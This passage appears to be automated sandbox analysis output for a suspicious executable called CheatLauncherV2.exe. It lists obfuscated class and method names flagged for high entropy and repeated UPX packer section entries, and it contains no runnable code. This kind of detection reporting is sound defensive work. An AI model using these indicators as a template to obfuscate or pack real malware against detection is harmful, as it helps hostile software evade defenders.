Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, Y4vIAt67DNZrrxDOZai.cs	High entropy of concatenated method names: 'WxPVMfZquY', 'Gg8Ve8YRjg', '_8r1', 'zyfVb6jZEH', 'dPuVJIJa3M', 'SM6VNr8kXP', 'z2eVTwQMdw', 'IUuK55OkxHI5f1OKkqA', 'DlyNSaOD9netVfV9lAX', 'GueqqUO1Ua8RYK5yx2t'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, fqFlsO6HuqZ1IEVRvOi.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'LtqwuW2SLo', 'QMkwVxQTjm', 'FE7ww13d5Y', 'rtqwY4GUYN', 'Dw0whmXMID', 'BKPwxaIMcn', 'kc7sTaZFnWCky5WtSRc'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, fx0p9kGzbPScwB0KN8r.cs	High entropy of concatenated method names: 'ztlbYYmjwY', 'BeqbhoGP3C', 'HkAbxFdR8K', 'mZfxTUEe0evrNnBwUUp', 'pAMtZ5EZl5A6YnRptfM', 'SgI1OAEyddNtl7s5n44', 'WATW2IEOQ785ouA92kk', 'DTWkGlEBKr15wIkeu7V', 'xqLYMoEaxmsURsNaF21', 'luaICAEACiXtJmiNK0X'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, AaKBdHYaIrKdpxV6Xu.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'ykGamin2AmyUAGjCWlu', 'hcAqpKnfudP9yAySHgZ', 'rKMV8WnNRtHZAFmRDyD', 'WMdlPEnoyE5U1oiKDch', 'BKMCgenujx1FqnUUVRB', 'zOq7GVn5F1mpVfig00V'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, CQHJjEjwWuADUXl0FCU.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'SG4mID9wB5qj6yUKUsr', 'v6XjXU9zSitblM8X2fG', 'wcwNSl04HJ8P9KgaDCs', 'wQACay0bYAK74Ud6hbU', 'fURspH0nfT4Z8gjUFFV', 'bQQvgT0P464j2eaT6Tb'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, TKFX9E2U6YhkwXMRGyI.cs	High entropy of concatenated method names: 'duwuBOn7LI', 'obOu24ejOC', 'nGHu6ZhPT4', 'dqruqUHkpp', 'pCRuM9Gdnk', 'YxEueJ14B6', 'wOsubvkmwh', 'vvVuJHWQKh', 'QlfuN3yaja', 'ibauTeUqP8'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, V0N0KLmj3hkdAN18y6.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'jF174yp18WeooTXZLus', 'tBeSYspJSMIBtr7sM9P', 'vK1BNcp3VacQgpl8LAh', 'EZY4qfpttGy18ge0g7V', 'WlsAVCpvk2qwMchNFfr', 'C9mIQNpLYWNdnstCKOv'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, HbFAutGWNEAGL9Tidcq.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'NYXAY1WBB8', 'rZUbBCYPKe', 'eEAAOWJmR3', 'UsLmNHqoNV9aa2osPqm', 'epRpTHqubv0SMK5vfdc', 'lufsc4q53dRNlSOTJ1o', 'VDFaUIqkmnkNOfgTSWh', 'x8pvZeqDw9LnxaDOpxb'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, GlYffeivl6QvC9yZWd.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'mgF5q0PjJXvxUvyr8W9', 'a4jGOdPFLKYfKIZMuBK', 'EhF4KRPSjDpHxqn6B22', 'xOUOVYPytcVKWYYYAFi', 'kUNP6dPO8E8j2AYLpLw', 'XC1Ui6PeC83Z11OgKM2'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, vb6kkjWesVTm2fbVTS.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'd6fbePpBqFYUiVBt8K4', 'BwZ5A6pa9qyyheevjfJ', 'DSgnxipAnCLu3Xb6xmy', 'WCylHcpiqhmUX5Wl4J5', 'I65FBGpGaVN4dW1nWg8', 'bxMXEwpTYodxJHl4chH'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, qVds4DGXrnqAZtRtYDK.cs	High entropy of concatenated method names: 'SLJM3Y1t7F', 'O1ZMmgj9we', 'XQBMCbqGLP', 'n54MWQmrFs', 'llkOYDvg8xCIhkuT8gD', 'd8N3pBvWD7dxAo8HCxl', 'BuwowbvjJiaO5ttLeTl', 'QYEgcNvKE8lRhCUkeNq', 'GKp5SEvhaSeVDgOSKEr', 'HnDYZwvFx9x5q4k1Tty'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, S7EXM4G06NqyyCR8GAe.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'yJNbJLfLhc', 'XbNAPgXvk6', 'vk2bNF90Ai', 'N5aAyIt2Ug', 'hKrQhIqSwJOs6dVMe39', 'CEnc3CqyOu9AOr92bRe', 'dOvAmIqjYC9hpuwcG6J'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, f8HlQJ29I6YRDqfV544.cs	High entropy of concatenated method names: 'eaRuY3mwQp', 'voYuhPWChx', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'ippuxPB4CY', '_5f9', 'A6Y'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, AuNQZ97e1sk8m1IwXPh.cs	High entropy of concatenated method names: 'ghmGRr9Qic', 'rgBGDYrrxD', 'a8AGahLHdk', 'XQ4GyAy4xQ', 'etaGS1uxys', 'QEqGiplNRx', 'BdYGgLkNhu', 'JeHu2QoEjHcZ7CtS1SV', 'Q8uLi2oxBaZdvuXOpbb', 'vqHuWAoqDLMPFNXJtrq'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, PYIECOj4GPMiIEI7RY2.cs	High entropy of concatenated method names: 'cIajxnXrv7', 'k9CFhb91CNEC3cvdQRX', 'Jh1cGl9JcbkJxwFBBey', 'm7nOug9kgCKa6WK83Yd', 'YWWUKP9DEw2mohHmfiN', 'N0l9MN93Ztp6KOXKXvo', 'lw5wQl9tdaHiuZpGNIA', 'KaOE1O9vWceI54KTGos', 'OgRy8Q9LCjJX4t7oPtB', 'f28'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, X6ERPWGI27pTwlsMvcg.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'LhXNjmxoE8C4Iii5DNJ', 'Q2scuJxucYXIPhbtsUo', 'bMSR6Gx5rC3pNQ2k2BG', 'EoYIklxk9b1U3iCEhdV'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, ORE2hnjeEjOQVmOvRfe.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'SDUjcj66T7OgwjJHDx5', 'TpiOAm691IcbqgurMP6', 'NlBh1x60FSShyyOYTxX', 'jGuA406Rs404Ny9HDKL', 'bYnQkS62iNl2Kp3K8Dg', 'z9Ho1V6fbDo5gP14puR'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, e6XFb76cXmLeCZlLp9P.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'owuV1sV4cq', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, PwiJFNqlrXJuYCITBoy.cs	High entropy of concatenated method names: 'lds7SsAMXU72cAlxHaO', 'eypIXmAYCmCVHJIS8H0', 'PolNY1AEhw5uAdGyTuZ', 'p5mcZFAU1NxsGQBM5IV', 'qplHXlb3FW', 'QFlts4ArbtQ7jRsAff7', 'PQIhTtAcBvN6cGSyn0E', 'sVtFSYAKCNKcLxlqwBr', 'cfRnx6Ah8NYdUybmtoX', 'wjQndIAgaG6nlr5mgGj'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, ooiOCMjqUHBDXl85hpB.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'uTvVGOVH9vEUTIe2eFK', 'dye9EFVCQ2qao0Ftgg2', 'kjTQJZV8mpHyQofp1N7', 'vg6G1CVsdEZrBjwQqK0', 'DTXWGFVwQ1OCtBuYv8i', 'A4A1VBVzouXFWiia19g'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, illWNwjFaYLHsRlPJOj.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'rhqY0n2TFHMAgyWaYpv', 'wHAB7n2X3JUXMamdHSo', 'MP2jYA2mDCWqSbXgAUh', 'RlJ5XX2QsjXMHQ9oE0T', 'XJomwY2lId2tNGkc2wE', 'Yrqg6O2HdTwscIcoFSR'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, MAhLHdjtksQ4Ay4xQ2t.cs	High entropy of concatenated method names: 'IUN7jNGDXK', 'TVF770peDI', 'SEn7GkHDdr', 'AhD5c1RmUxxOAUQ8hfX', 'CsEJlwRQkuY6g69cRb9', 'QrTsb6RTCvn7mYoITt8', 'cVQfRLRXk6tUwVjnTkS', 'YYjDKSRlDp6iBdVp7RB', 'ech8NlRH4LJ0emZ0Ctp', 'fhvH5WRCyoecmjKidmd'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, sofIhl6r43UpwOqHnRc.cs	High entropy of concatenated method names: 'n51uCe02lI', 'gZbuWh6olv', 'zZOuKARWRJ', 'pHfuOKp7Zb', 'GcxunR8h9k', 'WWAu0sPlH6', '_838', 'vVb', 'g24', '_9oL'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, wfGnUMqJFku2np3sPew.cs	High entropy of concatenated method names: 'rYmQdjJJvIOsy', 'rYvhrpA5R3FaVNeplXk', 'x3gAwnAkeUBK8YyZYqF', 'qKOFebADWhgqcL0sBL7', 'DXhg3QA1GgCAQcC8iop', 'ALyxQIAJBiS2XdBjFBU', 'Bk9MxtAoH00TqFB6pDf', 'F5GY6YAuM1ho0rNxNiD', 'a20dVHA3jLOotvq9wue', 'VfWn1gAtnkFPgWRUJmD'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, C9S8IpBnJCa4DQRNTpB.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'NsPXkewSBf', 'QVFX5Hnfm3', 'r8j', 'LS1', '_55S'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, bZTAxn2GUUTY6hVBFJo.cs	High entropy of concatenated method names: 'Ba6ANZhxjSqtpZkReh8', 'Ui2Ck7hqGSnFUKOnk82', 'Llaj3ahvxyCW07dcUGU', 'y9IKCVhLMtJ8hGqW61F', 'xRdd1a8Ti3', 'NVff8EhMoQSJyqUCnpT', 'zlpMb6hYbVxl0FQSkWi', 'klmuS8hEq7UQP84YRni', 'Ayr1SNhUZNYyxMjI8gH', 'i4ihY6hdu4xZruQDZRO'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, eUtjLUOnFeqeDTquI2.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'loqpu0IViOd62d71l8g', 'SspXjYI61yjSeatpMpy', 'XNZpAyI9D2Uot9Qcs2f', 'LoMAkkI0bs8hx3QT6fK', 'CQ4n0nIRFmeaV2TFAse', 'xBUWgKI2fAshhvTMwHQ'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, U96KR2Bw58bVf8yqJa8.cs	High entropy of concatenated method names: 'ttWlDTYKhK', 'kbNlaBn9hN', 'r2SlyvndhK', 'W7MlSObnG5', 'Oiulist2kd', 'UMm45cY33hKDN7UGmZl', 'kjlvbPY10P6a6s7QS4C', 'qYC4ZZYJ8dKCb06vdHC', 'PrAtSHYt8F2J9YtpR13', 'nMSvJDYvZmUy0TeepJa'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, wAacq7ytGWuWNGN0wI.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'vtf9Eans77erWwNZWab', 'nkgOvdnwMYZ5vlWoS4p', 'kPncMpnzMUy5G7mqrqy', 'dIUwMLP4KrZXX2BNUDf', 'zlGRKpPbtWd8qgpttEm', 'tdF9eLPnt5gS8KLGNCM'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, xe2vHo2gW1LPfaZSB8h.cs	High entropy of concatenated method names: 'gvNPotSI3B4xQNaADt0', 'pPtAk9SVudwF2njbZC8', 'V7sH91SP2m4yJKc9uMI', 'sxeEiQSpoNRsCrXAuac', 'dEo9fLS6EoQNCMFt22o', 'fqZufQS91xjEGvpJ9LY', 'kHxDOgS0pdxVJr4DKJq'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, GvO7Is2fZokQTl7AYNi.cs	High entropy of concatenated method names: 'E6a1Krmslv', 'IOc1OwnR8s', 'O1H1nD3bAl', 'Mi7InoFOlEbeuKKm4nw', 'x9Fq10FSr3BcYPXJf93', 'LMg4yxFyuExluvGlmpN', 'wEwII5FedaviPXKPmwD', 'LdQ4kpFZtlHRs742nGt', 'oiJwx9FBigUfmV5WtIl', 'uawXpJFaaayd0SAJhmF'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, Ff9AlBjuKQa4QXbPHVY.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'pnIL4E9ivWdRQEI0AWd', 'VtU3CF9GZrTOHnQwl0V', 'a7xArD9TV6qDKwiHFso', 'XYTnGy9X33f3PwLpC0m', 'qXDZ8i9m0neXxdx3i8K', 'g9ixMe9Qt6bdhi9vsrl'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, B3Fqe77iEEHC9B60mDM.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'F9B2a9JEu0', 'x1u2yJh3Fq', 'i7E2SEHC9B', 'f0m2iDMjEB', 'cbQ2gjtEkD', 'HMD7if10vkli7JsDfga', 'm1Dm171Rat1l6hIdtk9', 'mXbene16rLfy8qsjrU5'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, JUu09N2ek5fPtq2Tkig.cs	High entropy of concatenated method names: 'VGD1di7O6X', 'HrP1QYCpuG', 'cyNVoujl0QPpRr90Ut8', 'HKJKnijH6I5i3VOg61f', 'kZN5WwjCqMIbrNbKK47', 'O1vLcZj8cowenhEC3J9', 'xhcy4cjsphyN2JMmLni', 'iM0nbfjwRX61Xqprkgv', 'eHhkXbjz9O9JimfaNNY', 'LicTjcF4uE438vBZK1e'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, W5OD6QjhfhHkK4Qsqo1.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'RF3axi0jqgDV3vZv4JT', 'NAwsPZ0FBLwE8NVgV97', 'sdrdF80SO9iMXt7Khw4', 'fO0Vse0yTXMsjlmmMbD', 'iLJf2v0Oyyj5qY3r7pa', 'PqbmvU0eJw38Cb2B5Ph'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, BOkw8Fj59k34YO6uyyI.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'RXLD696QgOBDKPJ3EHP', 'URQZ5Y6llKa1iN9vLFD', 'hpqTRB6Hoo5d3sxc0ga', 'bBBKqg6CKPf9m5quTka', 'h0UrIG68V7D8fwQ2fPf', 'mMqDHA6sm8GBKP5Nirh'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, k34ObLjTDA7uYITYvgR.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'XUqNWP6YshGEVviMLSK', 'MLt6Uc6dTNFGXGOACHX', 'tbnt1467spS7XoINCHg', 'lGOnGf6r2xuQbbHPv8P', 'LItGMu6cJbQByOrvRAI', 'je34Jb6KlN2FtkYuqRd'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, gpAa0X79wntJQR9gvaR.cs	High entropy of concatenated method names: 'Rh5quHlIEh', 'GsJqLZJX4EFdWpnB6o9', 'p9gFtYJGWBGHfgisShe', 'NvbUcuJTwtuTLLSlvfn', 'pTQXrBJmju8XfBH9Skh', 'z7F8HlJQnOeYeT8C0qq', 'oZHqZ8eF0g', 'W5Iq4fenmp', 'Wkpqdw9rN0', 'GdPqQeNNMD'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, WeUcqFGjS85c8UWIaqh.cs	High entropy of concatenated method names: 'qSTqxd5Hyv', 'Jk9qfjUTs9', 'kcEqHD2EDa', 'z26qRJBDlC', 'RqhsODJznDvMiFYs15r', 'G9k4JBJssd7Xu3AHItr', 'GVH9d4JwDAreYpIqkIF', 'J58IQc34SY8lf682cue', 'tIHrnm3bbQslAh5dEhG', 'GwLeJA3nmwrruvkNbQU'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, nreaudGTBLU2Ib0MrXV.cs	High entropy of concatenated method names: '_223', 'YxwWOBv1LFGxj0pAbBj', 'oO42GWvJda4m6068qkf', 'sDNtnBv3NUQZo3FiKGM', 'uqBgwOvt0LYWxENJTwG', 'M8iRm9vvHDFS9c3hOSy', 'BeG2yIvLDmbE9ov4ZhO', 'N3gtwtvxgFg7DIm6nnc', 'Wt7wF1vqEDkvHffT2kc', 'KKGuhEvEo4JZrGwySZO'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, QiBcpA6md2IPbATYuZu.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'IoAxeiUmRP', 'MsOxbt0V73', 'ntWxJXSMhU', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, n3aT54GByCmsDLfZCUH.cs	High entropy of concatenated method names: 'I5Gq8IHUVt', 't7yq3O81gO', 'QrmqmhRNuk', 'IT3qCJTxhT', 'p2cqWc9C3j', 'zZJqK0Uh2Q', 'KnQXox37i6ml33K4PQ9', 'YvaZCN3YmukeAdkS5Aw', 'qOFoqN3djOlhcGDsGFB', 'wEro8W3rPgiblpUMb9o'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, i0K7ql6ulsZEiHiXSNO.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, Jce2e7jIfQtt2qUcsum.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'hysT9L9EgRG1ypUj9mr', 'oLLXDQ9UCy8VVNG8aWB', 'hjdX0J9Mr8ZdZOiws3f', 'npHvX59YicM0BjqkZx0', 'KGTJs09drg3CN8GmI8x', 'ciaFwp97tT5BYD4Wa9Z'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, e2u8Ie6IYCP9PrWaJYK.cs	High entropy of concatenated method names: 'LCAVdOLo5m', 'ywoVQM9wA5', 'IqoVInYaNI', 'V3rVABKx5B', 'U6UVcibuaB', 'muxCppO83RBHkhUHdro', 'pDuUtoOsgGlQYUaqbBN', 'yqZcZPOwfwrVWRf7yeL', 'ele8kAOzY2gXtfes78a', 'NGvxS9e4HPw9ObV6xKs'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, PSUaA06DRATvlCXvUr7.cs	High entropy of concatenated method names: 'EDrofABp8hF2qapdcIq', 'kaZBPIBI1WGjrThPRKE', 'pPtZmrBngxDp3VTZJOx', 'hY488HBPMWCJ6ef4PnC', 'wM5waljhlt', 'WM4', '_499', 'PIUwyBglXj', 'QhSwS9Kx2s', 'CPYwiFhGBB'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, fSbr2JGbMG4cAppOteO.cs	High entropy of concatenated method names: 'G40MD62DN4', 'KH4MaLYURs', 'YWJMyRBUyv', 'MP35NZvu0otJxqmQSoC', 'CkivHfvNTm3O35ARl9w', 'nt9rkfvoytpTr53jNmO', 'b0VtSAv5CNNkq0wQ0BS', 'QlXMkUw870', 'cSNM5E4qSQ', 'yp2MLjcUEu'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, HFmibLGvJD3DQTnu6i7.cs	High entropy of concatenated method names: 'QcggFmEFSakMsMPIEWt', 'XeM6srESECVZs3V0eMJ', 'UDRQwJEWPtZqB6qupNQ', 'IeJAW7EjCFmtm054PYD', 'IWF', 'j72', 'kTpbLBA3vZ', 'mMfbPqIrdq', 'j4z', 'zrtbZybFvt'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, QxB2r9BJIuF63P4uQiK.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, FsxtsZ6wJ0yPd7w79aY.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, CdmMui6h6tvtMhDB9xy.cs	High entropy of concatenated method names: 'gXKweaUi30', 'L1Hwb41IRs', 'tnvwJIs2EJ', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'UsXwNRmSEK'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, hoXpruAW2JriH295qC.cs	High entropy of concatenated method names: 'R0O15O1Hk', 'S4LuGOKRY', 'LZCV7CdCM', 'kaHwfWWS8', 'C2VYrQIVb', 'px3h8vFyi', 'Aa4xUrsh7', 'jS40OHb9fDXyfoH3Ubj', 'Y4Wx7Sb0odVGZf8d8bL', 'ptInAqbRTOO81GQuc8F'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, NXl1HRqOMbw18e3KwT.cs	High entropy of concatenated method names: 'm1HlROMbw', 'PBQ0XDhH95JmLs45K8', 'oV9jdKcOrv4ySS08b2', 'RccOe5KEGZi1yvfebj', 'IvBxhTgmjkquM8yQyM', 'JoFoJsWeKhpHqxI3U6', 'mty78gmE5', 'GiCG7lXrc', 'ipuBHNjvS', 'qqJ2BaX85'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, eXuYKRjigm1DFGAlDmq.cs	High entropy of concatenated method names: 'F88jssf0uN', 'SVcCAuRFK2rIZbk2Emm', 'PFBkIRRSbCt7HG35CfE', 'piQbSNRWFaei2TcV6lF', 'zcMfZ7Rj0dZU5YXxe7r', 'qQYqFkRysylv1bNvbd5', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, KMb4mK2oKKJESkBSPEh.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, mYmjwYBsheqoGP3CSkA.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, jvrp2D6nptHu90Kj69L.cs	High entropy of concatenated method names: 'AUOxA73w5T', '_1kO', '_9v4', '_294', 'qMJxcKh46R', 'euj', 'YxJx11Xpdt', 'V0cxuQYtXp', 'o87', 'fAxxVRLGfa'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, jMjJkXG4YKtWolnhAtL.cs	High entropy of concatenated method names: 'm3GekQWnGT', 'BpAe5HUaPw', 'O87eLQA2MZ', 'VbkADfLB4dW0QJ8LBof', 'o0al6WLecDcDHhiRbLj', 'IoB18HLZ9ZReL6dRjYh', 'UCqj2mLaKfNp5vVSv2w', 'yYre6E3fy1', 'wwZeqX2Vo8', 'lGoeM8Hjcu'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, KG5aPh7hMX1BRr6qJA9.cs	High entropy of concatenated method names: 'bYIBsIy2WR', 'kmYB9T08d7', 'Hr8BzvkAG0', 'dqY2rZCgjH', 'aSk2jqgW8g', 'h1a27WZG6y', 'tYr2GCEob5', 'X3M2BRaIdE', 'ACl22y7htj', 'U2QeBGkH6KCEtlCyPB3'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, Q04Eks7X9uGxjJrENtg.cs	High entropy of concatenated method names: 'iZMGvsBPr1', 'nD3SBfuPqUaSbXmSeSg', 'OtaUl5upYqyHHwEMUv9', 'UW6NIbub3tqw8f2Voqy', 'bPMhDKunfkscCqPR6gO', 'NqyKFXuIwY2x6tgBUJd', 'LytH3juVnJGaIDgZudR', 'abSVSTu6Um4y27CDfZL', 'FiPorBu9fsxwKIZ1DpP', 'YHSFcfu0f7nXSfFFWBF'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, Te19Ry4ZLneswqmonR.cs	High entropy of concatenated method names: '_0023C', 'IndexOf', '_0023D', 'Insert', '_0023E', 'RemoveAt', '_0023F', 'get_Item', '_0023G', 'set_Item'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, WujPGdjfc8AbIf4w1m6.cs	High entropy of concatenated method names: 'MGvjCiph42', 'QNcyr7RnGYEPX5vMXj2', 'IdUZMXRPGkXCOiyOArv', 'hy8nQNR4l4aWrXNIS0h', 'nWdRd6RbA6cR9gflrAm', 'cJhOd9Rp7f8PMyUxX1m', 'etHcdyRIrlkEinoyMf3', 'ONfAJLRVbLhp7ou9QEO', 'boQjKyZiJ5', 'uoKYuYR0kaTqK7sQIiV'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, wYIkv5B1amNkKFc6D4k.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'PSUlraA0RA', '_3il', 'lvlljCXvUr', 'b7bl7qlPMG', '_78N', 'z3K'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, lW05Fi6SBarAPr4oMgm.cs	High entropy of concatenated method names: 'nW1hiS8rBl', 'yA9sK8BrodQZrJgevV5', 'YEyu4hBcGZFoPj1IYKR', 'rFK21FBdvuDFHBKIt5S', 'y15jyLB7dVErsnl7n6r', '_1fi', 'IaaY0FBDxy', '_676', 'IG9', 'mdP'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, bhtjYq7AVq44eOFWd57.cs	High entropy of concatenated method names: 'DaQBQis8p2', 'gUfBIKJ1Xi', 'yU5BAVpYJ0', 'wxqBc50Umi', 'EOPB1kOtN5', 'IHvuvck4Vc2wrQt8ASQ', 'QtlenUkbSIWDXbEnT7P', 'yr7AB05waaSIBFalsMc', 'msXTC95zqNlQ1i5L21M', 'LRWCKhknEPGT9G73NVt'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, Bq0uHy7ap8FEIwXVSF8.cs	High entropy of concatenated method names: 'dxq2x0uHyp', 'rkvsiGDswkhfAE4O8TT', 'HqWT4aDwrhsepdYMxKC', 'CMLSqBDCw5CtCa52gym', 'wG2HA3D8l3siO7NHAUl', 'PWLqwIDzwmmUCr8ZwAT', 'lxDNFo14TRnfKciTP9h', 'OTX49T1bR3S9OjN9688', 'g4F0dI1nth3pH18CLL1', 'a1lv5G1P1tFp8mwGBfA'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, V5NmsEsiUNNGDXKoVF.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'HqtDLUIlrwDFrCUXqHA', 'NRqgSGIHlAdNcJSrePO', 'p80dXQICZ5o066eQK2P', 'f0N3sbI8WTvoZ6TwvIa', 'hVNt4UIs3A84W9Bypac', 'kOTkP7Iwh7Q2HNqFe9y'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, hjXku1v7KD88sf0uNY.cs	High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'DvdOZRIa5vZ3RZvAQ06', 'MpayvyIAZKYAgMxy3AW', 'chf4KVIirFmuJt6rVEo', 'V2sdj0IGnJOa13vdbsB', 'T9HUgdITb276CwXHp1D', 'lG2Xi7IXJ5r3kdPGpR9'

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
